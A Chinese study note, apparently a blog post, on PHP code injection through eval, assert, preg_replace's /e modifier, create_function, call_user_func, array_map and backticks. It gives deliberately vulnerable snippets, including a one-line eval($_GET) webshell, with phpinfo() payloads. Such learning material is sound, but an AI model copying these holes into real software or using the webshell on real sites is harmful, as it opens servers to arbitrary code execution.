php命令注入学习记录

开头

最近几天,做到了一个关于关于命令注入的题目,奈何太菜,没做出来,于是到网上学习了一下php命令注入,这里只是对于自己学习的一个记录过程,不喜勿喷。

命令注入

命令注入攻击通常是指:用户输入未作严格过滤,导致提交的内容传入某些函数会被当做系统命令执行。

常用函数

eval(),assert(),preg_replace(), create_function(), call_user_func(), call_user_func_array(),array_map(),反引号(``) 等函数

eval(),assert()

<?php@eval($_GET["cmd"]);?>
<?php @assert($_GET["cmd"]);?>
payload: xxx.php?cmd=phpinfo(); 这里没有任何过滤,可以执行任意命令

preg_replace()

preg_replace( p a t t e r n pattern pattern, r e p l a c e m e n t replacement replacement, s u b j e c t subject subject)这个函数就是在subject里面匹配到pattern的部分,用replacement替换
例如:

<?php 
$string = 'just a test';
$pattern = '/test/';
$replacement = 'lalalal';
echo preg_replace($pattern, $replacement, $string);
?>

输出:just a lalalal
这个函数注入点就是,有一个e的命令选项,可以将replacement 参数当作php代码执行 并返回结果。

pattern注入

<?php
$pattern = $_GET['p'];
$var = 'this is a test';
preg_replace("$pattern", 'phpinfo()', $var);
?>

payload:p=/test/e ,这时就会执行phpinfo();

replacement注入

<?php
$var = 'this is a test';
preg_replace("//e", $_GET['r'], "$var");
?>

payload: r=phpinfo()

subject注入

<?php
preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['s']);
?>

payload:s=[php]phpinfo()[/php]

create_function()

官方文档解释是:

 create_function ( string $args , string $code ) : string

Creates an anonymous function from the parameters passed, and returns a unique name for it.
根据传递的参数创建匿名函数,并返回其唯一名称。
例如:

$newfunc=create_function('$a,$b','return "a+b=".($a+$b);');

上面代码 就是创建了如下的函数:
function test($a,$b){
return "a+b=".($a+$b);
}

实例:

出现漏洞的代码块

    <?php

    error_reporting(0);

    $sort_by = $_GET['sort_by'];

    $sorter = ‘strnatcasecmp’;

    $databases=array(’1234′,’4321′);

    $sort_function = ‘ return 1 * ‘ . $sorter . ‘($a["' . $sort_by . '"], $b["' . $sort_by . '"]);’;

    usort($databases, create_function(‘$a, $b’, $sort_function));

    ?>

这里的函数原型就是:

function test($a,$b){
	return 1 * ‘ . $sorter . ‘($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
}

**payload:**sort_by="]);}phpinfo();// 这样 就可以成功逃逸 执行phpinfo()
在这里插入图片描述

call_user_func/call_user_func_array/array_map

call_user_func()

call_user_func: 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
例子:

<?php
$func='assert';
$para='phpinfo()';
call_user_func($func,$para);
?>

在这里插入图片描述
这里assert函数就会将phpinfo()成功执行
这里,call_user_func函数,在一个案例中运用到,和反序列化一起使用,详细的可以看:
http://www.freebuf.com/column/161798.html

array_map()

返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
实例:

<?php
$evil_callback = $_GET['callback'];
$some_array = array(0, 1, 2, 3);
$new_array = array_map($evil_callback, $some_array);
?>

payload: callback=phpinfo在这里插入图片描述

反引号(``)

反引号的本质就是在操作系统执行该命令。此时可以造成命令注入等各种危害
实例:
在这里插入图片描述

END

先总结这么多,以后在碰到,在补充进来,参考链接:https://www.freebuf.com/column/166385.html
http://www.beesfun.com/2017/04/18/PHP代码注入和命令注入/
https://3wapp.github.io/WebSecurity/php_cmdinject.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值